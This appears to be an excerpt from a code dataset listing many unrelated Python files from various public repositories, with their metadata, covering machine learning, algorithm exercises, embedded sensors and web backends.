2021-01-21T08:25:22.000Z
2022-03-21T14:28:42.000Z
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # This file is part of CbM (https://github.com/ec-jrc/cbm). # Author : Gilbert Voican, Konstantinos Anastasakis # Credits : GTCAP Team # Copyright : 2021 European Commission, Joint Research Centre # License : 3-Clause BSD import os def v1(*args): os.makedirs(...
31.804878
77
0.661043
94ce6e778bfe4977634e59c967dce9f4d9afa0fb
299
py
Python
rfvision/components/__init__.py
mvig-robotflow/rfvision
cc662f213dfe5a3e8864a6b5685a668a4436e397
[ "Apache-2.0" ]
6
2021-09-25T03:53:06.000Z
2022-02-19T03:25:11.000Z
rfvision/components/__init__.py
mvig-robotflow/rfvision
cc662f213dfe5a3e8864a6b5685a668a4436e397
[ "Apache-2.0" ]
1
2021-07-21T13:14:54.000Z
2021-07-21T13:14:54.000Z
rfvision/components/__init__.py
mvig-robotflow/rfvision
cc662f213dfe5a3e8864a6b5685a668a4436e397
[ "Apache-2.0" ]
2
2021-07-16T03:25:04.000Z
2021-11-22T06:04:01.000Z
from .backbones import * # noqa: F401,F403 from .dense_heads import * # noqa: F401,F403 from .losses import * # noqa: F401,F403 from .losses_pose import * from .necks import * # noqa: F401,F403 from .roi_heads import * # noqa: F401,F403 from .fusion_layers import * from .keypoint_head import *
37.375
45
0.725753
44f5b2ba26efaa5ff76518024a2e98b859f60388
271
py
Python
utest/curve2_test.py
Spiritdude/zencad
4e63b1a6306dd235f4daa2791b10249f7546c95b
[ "MIT" ]
5
2018-04-11T14:11:40.000Z
2018-09-12T19:03:36.000Z
utest/curve2_test.py
Spiritdude/zencad
4e63b1a6306dd235f4daa2791b10249f7546c95b
[ "MIT" ]
null
null
null
utest/curve2_test.py
Spiritdude/zencad
4e63b1a6306dd235f4daa2791b10249f7546c95b
[ "MIT" ]
null
null
null
import unittest import zencad import numpy import math class Curve2(unittest.TestCase): def setUp(self): zencad.lazy.encache = False zencad.lazy.decache = False zencad.lazy.fastdo = True def test_api(self): print("TODO Curve2")
18.066667
35
0.664207
44fe4756a72559a9c5a2610b3df22eed62f0f90a
835
py
Python
utils/compute_cost.py
weihaoxie/FaceX-Zoo
db0b087e4f4d28152e172d6c8d3767a8870733b4
[ "Apache-2.0" ]
1,329
2021-01-13T07:06:30.000Z
2022-03-31T07:23:39.000Z
utils/compute_cost.py
weihaoxie/FaceX-Zoo
db0b087e4f4d28152e172d6c8d3767a8870733b4
[ "Apache-2.0" ]
115
2021-01-13T10:42:57.000Z
2022-03-28T03:57:52.000Z
utils/compute_cost.py
weihaoxie/FaceX-Zoo
db0b087e4f4d28152e172d6c8d3767a8870733b4
[ "Apache-2.0" ]
351
2021-01-13T07:21:00.000Z
2022-03-29T14:11:39.000Z
""" @author: Jun Wang @date: 20201012 @contact: jun21wangustc@gmail.com """ import sys import torch from thop import profile from thop import clever_format sys.path.append('..') from backbone.backbone_def import BackboneFactory #backbone_type = 'MobileFaceNet' #backbone_type = 'ResNet' #backbone_type = 'EfficientN...
26.09375
69
0.755689
783e6d26b6b475e167aac40e0f659fbb0608d727
2,720
py
Python
research/nlp/hypertext/src/data_preprocessing.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
research/nlp/hypertext/src/data_preprocessing.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
research/nlp/hypertext/src/data_preprocessing.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
38.309859
99
0.568382
ecbb189108b2c5bba0a3e02d2c409f2c25703ac8
1,111
py
Python
Packs/ExpanseV2/Scripts/ExpanseAggregateAttributionIP/ExpanseAggregateAttributionIP_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/ExpanseV2/Scripts/ExpanseAggregateAttributionIP/ExpanseAggregateAttributionIP_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/ExpanseV2/Scripts/ExpanseAggregateAttributionIP/ExpanseAggregateAttributionIP_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
import demistomock as demisto # noqa import ExpanseAggregateAttributionIP INPUT = [ {"src": "1.1.1.1", "count": 2}, {"src_ip": "8.8.8.8"}, {"src": "8.8.8.8", "count": 10} ] CURRENT = [ {"ip": "1.1.1.1", "sightings": 1, "internal": False} ] RESULT = [ {"ip": "1.1.1.1", "sightings": 3, "internal...
25.25
69
0.60216
da913cff35b7f8cea59331d2ea65b018c518aca2
464
py
Python
leetcode/047-Permutations-II/Perm2_002.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
1
2015-12-16T04:01:03.000Z
2015-12-16T04:01:03.000Z
leetcode/047-Permutations-II/Perm2_002.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
1
2016-02-09T06:00:07.000Z
2016-02-09T07:20:13.000Z
leetcode/047-Permutations-II/Perm2_002.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
2
2019-06-27T09:07:26.000Z
2019-07-01T04:40:13.000Z
class Solution: # @param {integer[]} nums # @return {integer[][]} def permuteUnique(self, nums): if len(nums) == 1: return [nums] res, bag = [], set() for i in range(len(nums)): if nums[i] not in bag: bag.add(nums[i]) tmp = num...
27.294118
56
0.450431
e5b14cb230e06bba662b7d037ba20c628223189a
1,370
py
Python
Problems/Dynamic Programming/Medium/BestTimeBuySellStockTransactionFee/best _time_buy_sell_stock_transaction_fee.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
null
null
null
Problems/Dynamic Programming/Medium/BestTimeBuySellStockTransactionFee/best _time_buy_sell_stock_transaction_fee.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
null
null
null
Problems/Dynamic Programming/Medium/BestTimeBuySellStockTransactionFee/best _time_buy_sell_stock_transaction_fee.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
null
null
null
from functools import lru_cache from typing import List # Top-down (Memoization) # TC: O(N * 2) = O(N); SC: (N) def maxProfit(self, prices: List[int], fee: int) -> int: @lru_cache(None) def dp(i: int, hold: int) -> int: if i == len(prices): return 0 if hold: return max...
27.959184
78
0.488321
e5f5290797e828ab9405940431c88133839e6272
153
py
Python
tests/resources/docker/docker-project/docker_project/api/__init__.py
Kludex/fastapi-template
47256eb8f8c7439a4d669172d94ce84c62cdb25a
[ "MIT" ]
14
2021-03-27T22:18:56.000Z
2022-03-21T19:04:48.000Z
tests/resources/docker/docker-project/docker_project/api/__init__.py
Kludex/fastapi-template
47256eb8f8c7439a4d669172d94ce84c62cdb25a
[ "MIT" ]
33
2021-03-28T21:06:22.000Z
2022-03-07T14:18:26.000Z
tests/resources/docker/docker-project/docker_project/api/__init__.py
Kludex/fastapi-template
47256eb8f8c7439a4d669172d94ce84c62cdb25a
[ "MIT" ]
null
null
null
from fastapi import APIRouter from docker_project.api.v1 import router as v1_router router = APIRouter(prefix="/api") router.include_router(v1_router)
21.857143
53
0.816993
005c520d10e3d4661ccd25e778f08eff3788ef0c
27
py
Python
KnowledgeQuizTool/MillionHeroes/baiduSearch/__init__.py
JianmingXia/StudyTest
66d688ad41bbce619f44359ea126ff07a923f97b
[ "MIT" ]
26
2018-01-11T03:57:40.000Z
2021-12-22T07:12:59.000Z
baiduSearch/__init__.py
wenxuefeng3930/MillionHeroesAssistant
c382e2685275d6b5d92d5b68fa9c515360e61f9e
[ "MIT" ]
68
2020-09-05T04:22:49.000Z
2022-03-25T18:47:08.000Z
baiduSearch/__init__.py
wenxuefeng3930/MillionHeroesAssistant
c382e2685275d6b5d92d5b68fa9c515360e61f9e
[ "MIT" ]
10
2018-01-11T03:59:05.000Z
2021-12-22T07:13:00.000Z
from .search import search
13.5
26
0.814815
c161f31eeb779c7b8548829de43a4c03e447a935
301
py
Python
exercises/zh/exc_03_06.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
2,085
2019-04-17T13:10:40.000Z
2022-03-30T21:51:46.000Z
exercises/zh/exc_03_06.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
79
2019-04-18T14:42:55.000Z
2022-03-07T08:15:43.000Z
exercises/zh/exc_03_06.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
361
2019-04-17T13:34:32.000Z
2022-03-28T04:42:45.000Z
import spacy # 定义定制化组件 def length_component(doc): # 获取doc的长度 doc_length = ____ print(f"This document is {doc_length} tokens long.") # 返回这个doc ____ # 读取小规模的中文模型 nlp = spacy.load("zh_core_web_sm") # 将组件加入到流程的最前面,打印流程组件名 ____.____(____) print(nlp.pipe_names) # 处理一段文本 doc = ____
14.333333
56
0.700997
c16a85cc6885ea21882ac83388d22766e02a7daf
491
py
Python
source/pkgsrc/devel/py-cursespanel/files/setup.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
1
2021-11-20T22:46:39.000Z
2021-11-20T22:46:39.000Z
source/pkgsrc/devel/py-cursespanel/files/setup.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
null
null
null
source/pkgsrc/devel/py-cursespanel/files/setup.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
null
null
null
# $NetBSD: setup.py,v 1.1.1.1 2003/06/04 19:32:13 drochner Exp $ import distutils from distutils.core import setup, Extension ncursesprefix = '@NCURSESPREFIX@' ncincl = ncursesprefix + '/include' nclib = ncursesprefix + '/lib' setup( ext_modules = [ Extension( '_curses_panel', ['Modules/_curses_panel.c'], ...
21.347826
64
0.690428
a9b984944d8e96d17cccfb6cd03f20586c3d41ea
12,621
py
Python
agents/dqn.py
etigerstudio/zilong-on-fire
5144a471b2d39ea38a47d394e648de00dd13cd8b
[ "MIT" ]
2
2021-01-07T01:10:49.000Z
2022-01-21T09:37:16.000Z
agents/dqn.py
etigerstudio/zilong-on-fire
5144a471b2d39ea38a47d394e648de00dd13cd8b
[ "MIT" ]
null
null
null
agents/dqn.py
etigerstudio/zilong-on-fire
5144a471b2d39ea38a47d394e648de00dd13cd8b
[ "MIT" ]
null
null
null
# DeepQ network implementation import tensorflow as tf from tensorflow.keras import Model import random import numpy as np from envs.base import StateFormat from matplotlib import pyplot as plt class DeepQNet(Model): """基于神经网络的强化学习""" def __init__(self, state_shape, actions, ...
42.928571
128
0.587988
68e8a107abddb01774d91a56a94fc98bff0359a6
682
py
Python
leetcode/216-Combination-Sum-III/CombinationSumIII_001.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
1
2016-04-07T15:08:53.000Z
2016-04-07T15:08:53.000Z
leetcode/216-Combination-Sum-III/CombinationSumIII_001.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
1
2016-02-09T06:00:07.000Z
2016-02-09T07:20:13.000Z
leetcode/216-Combination-Sum-III/CombinationSumIII_001.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
2
2019-06-27T09:07:26.000Z
2019-07-01T04:40:13.000Z
class Solution(object): def combinationSum3(self, k, n): """ :type k: int :type n: int :rtype: List[List[int]] """ res = [] for i in range(1, 10): tmp = self.comb(i, k, n) res += tmp return res def comb(self, init, k, n): ...
26.230769
72
0.403226
6b5dee83910e8518a87c3a636b4c2125bd90738e
3,442
py
Python
python/pygame/game_of_life.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
16
2018-11-26T08:39:42.000Z
2019-05-08T10:09:52.000Z
python/pygame/game_of_life.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
8
2020-05-04T06:29:26.000Z
2022-02-12T05:33:16.000Z
python/pygame/game_of_life.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
5
2020-02-11T16:02:21.000Z
2021-02-05T07:48:30.000Z
import sys, math import numpy as np from random import randint from PyQt5.QtCore import Qt, QBasicTimer from PyQt5.QtGui import QColor, QPainter from PyQt5.QtWidgets import QApplication, QWidget, QMainWindow, QMessageBox class GameOfLife(QMainWindow): def __init__(self): super().__init__() self.m...
31.290909
98
0.562464
6bf0a59907ac3d9d772658f32c7c045ebe52060e
10,020
py
Python
20-hs-redez-sem/groups/07-decentTCP/src/proxy.py
Kyrus1999/BACnet
5be8e1377252166041bcd0b066cce5b92b077d06
[ "MIT" ]
8
2020-03-17T21:12:18.000Z
2021-12-12T15:55:54.000Z
20-hs-redez-sem/groups/07-decentTCP/src/proxy.py
Kyrus1999/BACnet
5be8e1377252166041bcd0b066cce5b92b077d06
[ "MIT" ]
2
2021-07-19T06:18:43.000Z
2022-02-10T12:17:58.000Z
20-hs-redez-sem/groups/07-decentTCP/src/proxy.py
Kyrus1999/BACnet
5be8e1377252166041bcd0b066cce5b92b077d06
[ "MIT" ]
25
2020-03-20T09:32:45.000Z
2021-07-18T18:12:59.000Z
import json import select import socket import sys, os import getopt import time from threading import Thread import queue from nacl.bindings import crypto_sign_ed25519_pk_to_curve25519 from nacl.public import PublicKey from lib import crypto from lib.feed import FEED CONFIG_DIR = ".bacnet-proxy/" DATA_DIR = CONFIG_...
40.403226
118
0.509681
2e864815603d1dbe399d8bad79fa7084204cfd4c
997
py
Python
train.py
kelayamatoz/BiDAF-TBA
82a425c10f08d65814696955cf072da21c329f90
[ "BSD-2-Clause" ]
null
null
null
train.py
kelayamatoz/BiDAF-TBA
82a425c10f08d65814696955cf072da21c329f90
[ "BSD-2-Clause" ]
null
null
null
train.py
kelayamatoz/BiDAF-TBA
82a425c10f08d65814696955cf072da21c329f90
[ "BSD-2-Clause" ]
null
null
null
import torch import torch.optim as O import os.path from model import BIDAF from torchtext import data, datasets def train_batch(config, model, opt, batch): model.train(); opt.zero_grad() n_correct, n_total = 0, 0 print(batch) ls, s, le, e = model(batch) def train_epoch(config, model, opt, iter): ...
22.659091
67
0.674022
5cfaa60e71fa83564271f4c5066d97a037b5d30d
1,806
py
Python
migrations/versions/eba21922b9b7_.py
DanielGrams/gsevp
e94034f7b64de76f38754b56455e83092378261f
[ "MIT" ]
1
2021-06-01T14:49:18.000Z
2021-06-01T14:49:18.000Z
migrations/versions/eba21922b9b7_.py
DanielGrams/gsevp
e94034f7b64de76f38754b56455e83092378261f
[ "MIT" ]
286
2020-12-04T14:13:00.000Z
2022-03-09T19:05:16.000Z
migrations/versions/eba21922b9b7_.py
DanielGrams/gsevpt
a92f71694388e227e65ed1b24446246ee688d00e
[ "MIT" ]
null
null
null
"""empty message Revision ID: eba21922b9b7 Revises: 12aac790ed5e Create Date: 2021-12-05 14:32:12.165882 """ import sqlalchemy as sa import sqlalchemy_utils from alembic import op from project import dbtypes # revision identifiers, used by Alembic. revision = "eba21922b9b7" down_revision = "12aac790ed5e" branch_lab...
27.363636
65
0.594684
5ce261f30360290aa48a3d542670943d750aa036
4,420
py
Python
elements/python/8/7/soln.py
mmcloughlin/problems
6095842ffe007a12ec8c2093850515aa4e046616
[ "MIT" ]
11
2019-02-08T06:54:34.000Z
2021-08-07T18:57:39.000Z
elements/python/8/7/soln.py
mmcloughlin/problems
6095842ffe007a12ec8c2093850515aa4e046616
[ "MIT" ]
1
2019-05-21T08:14:10.000Z
2019-05-21T08:14:10.000Z
elements/python/8/7/soln.py
mmcloughlin/problems
6095842ffe007a12ec8c2093850515aa4e046616
[ "MIT" ]
null
null
null
class Node(object): def __init__(self, x, nxt): self.x = x self.next = nxt # From problem 8.5. def find_cycle(n): # fast and slow pointers will collide if there is a cycle slow = n fast = n.next while slow != fast: slow = slow.next fast = fast.next if fast is...
21.666667
77
0.549548
56f5fe0bc8e1856970e072c5d8b8a3420bb6b732
2,143
py
Python
matrix approach.py
Fatiepie/CircuitSim
d46b6a85f4be30ac997c4440beab62434a5af2fc
[ "MIT" ]
null
null
null
matrix approach.py
Fatiepie/CircuitSim
d46b6a85f4be30ac997c4440beab62434a5af2fc
[ "MIT" ]
null
null
null
matrix approach.py
Fatiepie/CircuitSim
d46b6a85f4be30ac997c4440beab62434a5af2fc
[ "MIT" ]
1
2021-05-26T13:24:40.000Z
2021-05-26T13:24:40.000Z
import random,numpy resistorList=[] class Component(): def location(self,x1,y1,x2,y2): self.location1=(x1,y1) self.location2=(x2,y2) class VoltageSource(Component): def __init__(self, name, voltage): self.name=name self.voltage=voltage class Resistor(Component): def __ini...
30.614286
128
0.730285
85a978de7f896e75a9471dfe7b356de13a892c6a
271
py
Python
Klassifikation/knn_iris.py
severinhaller/einf-machinelearning
4dfc8f1da0d81c5aa800d1459f81b72d1bf6dd9b
[ "MIT" ]
null
null
null
Klassifikation/knn_iris.py
severinhaller/einf-machinelearning
4dfc8f1da0d81c5aa800d1459f81b72d1bf6dd9b
[ "MIT" ]
null
null
null
Klassifikation/knn_iris.py
severinhaller/einf-machinelearning
4dfc8f1da0d81c5aa800d1459f81b72d1bf6dd9b
[ "MIT" ]
null
null
null
import pandas as pd column_names = ["sepal-length", "sepal-width", "petal-length", "petal-width", "class"] iris_data_set = pd.read_csv("iris.csv", names=column_names, header=None) print(iris_data_set.head()) print(iris_data_set.tail()) print(iris_data_set.describe())
27.1
86
0.745387
7441374996d6adcdeb6105248f07429a9c15cb8d
4,503
py
Python
tools/legacy/darkstar-vol-extractor/nuvol.py
gifted-nguvu/darkstar-dts-converter
aa17a751a9f3361ca9bbb400ee4c9516908d1297
[ "MIT" ]
2
2020-03-18T18:23:27.000Z
2020-08-02T15:59:16.000Z
tools/legacy/darkstar-vol-extractor/nuvol.py
gifted-nguvu/darkstar-dts-converter
aa17a751a9f3361ca9bbb400ee4c9516908d1297
[ "MIT" ]
5
2019-07-07T16:47:47.000Z
2020-08-10T16:20:00.000Z
tools/legacy/darkstar-vol-extractor/nuvol.py
gifted-nguvu/darkstar-dts-converter
aa17a751a9f3361ca9bbb400ee4c9516908d1297
[ "MIT" ]
1
2020-03-18T18:23:30.000Z
2020-03-18T18:23:30.000Z
import sys import struct import json import glob import binascii from os import listdir, rename from os.path import isfile, join, exists, split importFolders = [] for importFolder in sys.argv[1:]: files = glob.glob(importFolder) importFolders.extend(files) for importFolder in importFolders: importFolderV...
38.161017
114
0.650677
748e00fa398c6e025f11cfb43c2b5aa34620b60e
4,024
py
Python
postprocessing/corpus_reading.py
dainst/chronoi-corpus-processing
7f508a7572e1022c4c88d1477db029e6619a1f0c
[ "MIT" ]
null
null
null
postprocessing/corpus_reading.py
dainst/chronoi-corpus-processing
7f508a7572e1022c4c88d1477db029e6619a1f0c
[ "MIT" ]
null
null
null
postprocessing/corpus_reading.py
dainst/chronoi-corpus-processing
7f508a7572e1022c4c88d1477db029e6619a1f0c
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from __future__ import annotations import bs4 class DocumentLine: def __init__(self, doc: Document, line: str, previous: DocumentLine = None): self.doc = doc self.line = line self.idx = previous.idx + 1 if previous else 0 self._xml_...
28.338028
85
0.62674
77dcdd83804bae9cdffac5b42918e60c3de23056
1,124
py
Python
src/onegov/feriennet/converters.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/feriennet/converters.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/feriennet/converters.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
import morepath import re from datetime import date AGE_RANGE_RE = re.compile(r'[0-9]+-[0-9]+') def age_range_decode(s): if not isinstance(s, str): return None if not AGE_RANGE_RE.match(s): return None age_range = tuple(int(a) for a in s.split('-')) if age_range[0] < age_range[1]...
18.42623
75
0.607651
708d1a4ab435b4bf9a5c3fe5ccb90bcf31108fec
5,016
py
Python
Metadataextraction/test_mastersim.py
corneliazy/Geosoftware2
8604c79c58a61b84c602f16b5f1e74e30dfcbd0e
[ "MIT" ]
null
null
null
Metadataextraction/test_mastersim.py
corneliazy/Geosoftware2
8604c79c58a61b84c602f16b5f1e74e30dfcbd0e
[ "MIT" ]
47
2018-11-13T13:55:01.000Z
2019-09-16T13:38:11.000Z
Metadataextraction/test_mastersim.py
corneliazy/Geosoftware2
8604c79c58a61b84c602f16b5f1e74e30dfcbd0e
[ "MIT" ]
4
2018-11-27T12:36:51.000Z
2020-10-14T18:07:04.000Z
import click # used to print something import mastersim #similar # used to invoke the master function import os # used to get the location of the testdata __location__ = os.path.realpath(os.path.join(os.getcwd(), os.path.dirname(__file__))) #--detail click.echo(__location__+'/...
47.320755
111
0.786085
562c1580ce7ad64a5fdcbe218ed4ea74532ef598
4,549
py
Python
OxoCard/RoomConditionMonitor.py
ckuehnel/MicroPython
c57d0df744fe5301e755bd139b6cc56d69c442fd
[ "MIT" ]
1
2021-03-22T18:38:43.000Z
2021-03-22T18:38:43.000Z
OxoCard/RoomConditionMonitor.py
ckuehnel/MicroPython
c57d0df744fe5301e755bd139b6cc56d69c442fd
[ "MIT" ]
null
null
null
OxoCard/RoomConditionMonitor.py
ckuehnel/MicroPython
c57d0df744fe5301e755bd139b6cc56d69c442fd
[ "MIT" ]
1
2021-02-06T10:07:36.000Z
2021-02-06T10:07:36.000Z
''' File: RoomConditionMonitor.py needs: adafruit_sgp30.py This Room Condition Monitor running on OxoCard is using SHT30 to measure temperature and humidity and SGP30 to measure TVOC and eCO2. Measured values are displayed on 0.96" OLED and air quality is display as pattern on OxoCard matrix display. 2021-03-27 Clau...
28.254658
131
0.621675
79b049a13dbab9b11a8d4aa3088b3a5b57b2b2b5
403
py
Python
ufmt/__init__.py
thatch/ufmt
a9129c918dee0861c13b917d0bf144cb66e4f44b
[ "MIT" ]
null
null
null
ufmt/__init__.py
thatch/ufmt
a9129c918dee0861c13b917d0bf144cb66e4f44b
[ "MIT" ]
null
null
null
ufmt/__init__.py
thatch/ufmt
a9129c918dee0861c13b917d0bf144cb66e4f44b
[ "MIT" ]
null
null
null
""" usort + black, in that order """ __author__ = "John Reese" import sys from pathlib import Path from typing import List import click from black import decode_bytes, format_file_contents, Mode, NothingChanged from usort.config import Config from usort.sorting import usort_string from usort.util import walk from ._...
22.388889
74
0.808933
79c3e20e4dbb62a04f374f72b5c515bc05eabbfe
32
py
Python
lib/python3.5/stat.py
hwroitzsch/BikersLifeSaver
469c738fdd6352c44a3f20689b17fa8ac04ad8a2
[ "MIT" ]
1
2020-08-16T04:04:23.000Z
2020-08-16T04:04:23.000Z
lib/python3.5/stat.py
hwroitzsch/BikersLifeSaver
469c738fdd6352c44a3f20689b17fa8ac04ad8a2
[ "MIT" ]
5
2020-06-05T18:53:24.000Z
2021-12-13T19:49:15.000Z
lib/python3.5/stat.py
hwroitzsch/BikersLifeSaver
469c738fdd6352c44a3f20689b17fa8ac04ad8a2
[ "MIT" ]
null
null
null
/usr/local/lib/python3.5/stat.py
32
32
0.78125
79c6dae7644e3290cd6d482b22b36d7d265ca221
9,589
py
Python
cbm/extract/pgS1bsExtract.py
CsabaWirnhardt/cbm
1822addd72881057af34ac6a7c2a1f02ea511225
[ "BSD-3-Clause" ]
17
2021-01-18T07:27:01.000Z
2022-03-10T12:26:21.000Z
cbm/extract/pgS1bsExtract.py
CsabaWirnhardt/cbm
1822addd72881057af34ac6a7c2a1f02ea511225
[ "BSD-3-Clause" ]
4
2021-04-29T11:20:44.000Z
2021-12-06T10:19:17.000Z
cbm/extract/pgS1bsExtract.py
CsabaWirnhardt/cbm
1822addd72881057af34ac6a7c2a1f02ea511225
[ "BSD-3-Clause" ]
47
2021-01-21T08:25:22.000Z
2022-03-21T14:28:42.000Z
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # This file is part of CbM (https://github.com/ec-jrc/cbm). # Author : Guido Lemoine # Credits : GTCAP Team # Copyright : 2021 European Commission, Joint Research Centre # License : 3-Clause BSD import time import sys import os import io import json import psycop...
33.065517
202
0.581708
d6c165160502c41a0097922ff2264f059fe7e418
1,893
py
Python
BeautifulData/BeautifulData/views/backend.py
zhangyafeii/Flask
9c9a5ea282f77aabcda838796dad2411af9b519f
[ "MIT" ]
null
null
null
BeautifulData/BeautifulData/views/backend.py
zhangyafeii/Flask
9c9a5ea282f77aabcda838796dad2411af9b519f
[ "MIT" ]
null
null
null
BeautifulData/BeautifulData/views/backend.py
zhangyafeii/Flask
9c9a5ea282f77aabcda838796dad2411af9b519f
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ @Datetime: 2019/1/1 @Author: Zhang Yafei """ from flask import Blueprint, render_template, request, Markup, url_for from BeautifulData.utils.pagination import Pagination from Admin.file_reader import reader main = Blueprint('main', __name__, static_folder='static') @main.app_template_glo...
34.418182
103
0.698891
bac53e4254374ffdd5163e38516181f642f8cc05
3,677
py
Python
LoPy/LoAirRohr01/main.py
OffenesJena/JenLoRa
332114edc8927b577f9c4775d7c721ba63daa77b
[ "Apache-2.0" ]
1
2017-08-23T20:45:35.000Z
2017-08-23T20:45:35.000Z
LoPy/LoAirRohr01/main.py
OffenesJena/JenLoRa
332114edc8927b577f9c4775d7c721ba63daa77b
[ "Apache-2.0" ]
null
null
null
LoPy/LoAirRohr01/main.py
OffenesJena/JenLoRa
332114edc8927b577f9c4775d7c721ba63daa77b
[ "Apache-2.0" ]
null
null
null
import pycom import machine import math import network import os import time import utime import socket import binascii import gc from machine import RTC from machine import SD from machine import Timer from network import LoRa from machine import Pin from machine import I2C import bme280 print(os.uname()) # https://...
24.190789
76
0.618711
0373bd1a65e60bb87a07d3ddc664d7bc725562a4
1,072
py
Python
src/server/app/endpoints/location_tracker/controllers.py
MatthiasRiener/DigiPen
9b4aff4a1c431e06d73733dc3dd3f3f3d4631704
[ "MIT" ]
6
2020-12-15T18:57:53.000Z
2022-02-06T18:54:35.000Z
src/server/app/endpoints/location_tracker/controllers.py
MatthiasRiener/DigiPen
9b4aff4a1c431e06d73733dc3dd3f3f3d4631704
[ "MIT" ]
186
2020-11-17T10:18:17.000Z
2022-03-02T07:19:22.000Z
src/server/app/endpoints/location_tracker/controllers.py
MatthiasRiener/DigiPen
9b4aff4a1c431e06d73733dc3dd3f3f3d4631704
[ "MIT" ]
1
2020-12-14T19:37:30.000Z
2020-12-14T19:37:30.000Z
from ...db.settings import db, oidc, socketio from flask import Flask, Blueprint, render_template, abort, g, request from oauth2client.client import OAuth2Credentials from flask_socketio import emit, join_room, leave_room, send from flask_jwt_extended import (create_access_token, create_refresh_token, jwt_required, jw...
34.580645
176
0.760261
0692a88dad7f64d4ef1c8809a519054cea65fce5
5,283
py
Python
main.py
notaTeapot/SchwurbelTranskipt
d17a8535986ebff8be49ac04e530e303d586beec
[ "MIT" ]
1
2021-12-29T10:20:48.000Z
2021-12-29T10:20:48.000Z
main.py
notaTeapot/SchwurbelTranskipt
d17a8535986ebff8be49ac04e530e303d586beec
[ "MIT" ]
null
null
null
main.py
notaTeapot/SchwurbelTranskipt
d17a8535986ebff8be49ac04e530e303d586beec
[ "MIT" ]
null
null
null
""" MemoTrans Vasco Berl, Veronika Sahlbach Audiodateien aus Telegrammgruppen automatisch transkribieren und zuordnen """ import sys import os import io from pydub import AudioSegment import math import threading from PyQt5 import QtWidgets as qtw from PyQt5 import QtGui as qtg from PyQt5 import QtCore as qtc from path...
34.986755
107
0.586977
0004dace4f33bee731c9163bf4d2b876413eb952
6,006
py
Python
Paddle_Industry_Practice_Sample_Library/Football_Action/PaddleVideo/paddlevideo/utils/multigrid/short_sampler.py
linuxonly801/awesome-DeepLearning
b063757fa130c4d56aea5cce2e592610f1e169f9
[ "Apache-2.0" ]
883
2020-11-12T11:46:46.000Z
2022-03-31T18:27:10.000Z
paddlevideo/utils/multigrid/short_sampler.py
arkofgalaxy/PaddleVideo
64251233c83b7eb681061b454da198a9082309a6
[ "Apache-2.0" ]
233
2020-12-09T06:04:59.000Z
2022-03-28T08:16:51.000Z
paddlevideo/utils/multigrid/short_sampler.py
arkofgalaxy/PaddleVideo
64251233c83b7eb681061b454da198a9082309a6
[ "Apache-2.0" ]
225
2020-11-13T06:21:55.000Z
2022-03-31T05:36:11.000Z
from __future__ import print_function from __future__ import division import numpy as np import math from paddle.io import BatchSampler __all__ = ["DistributedShortSampler"] class DistributedShortSampler(BatchSampler): """Sampler that restricts data loading to a subset of the dataset. In such case, each pr...
40.581081
99
0.612055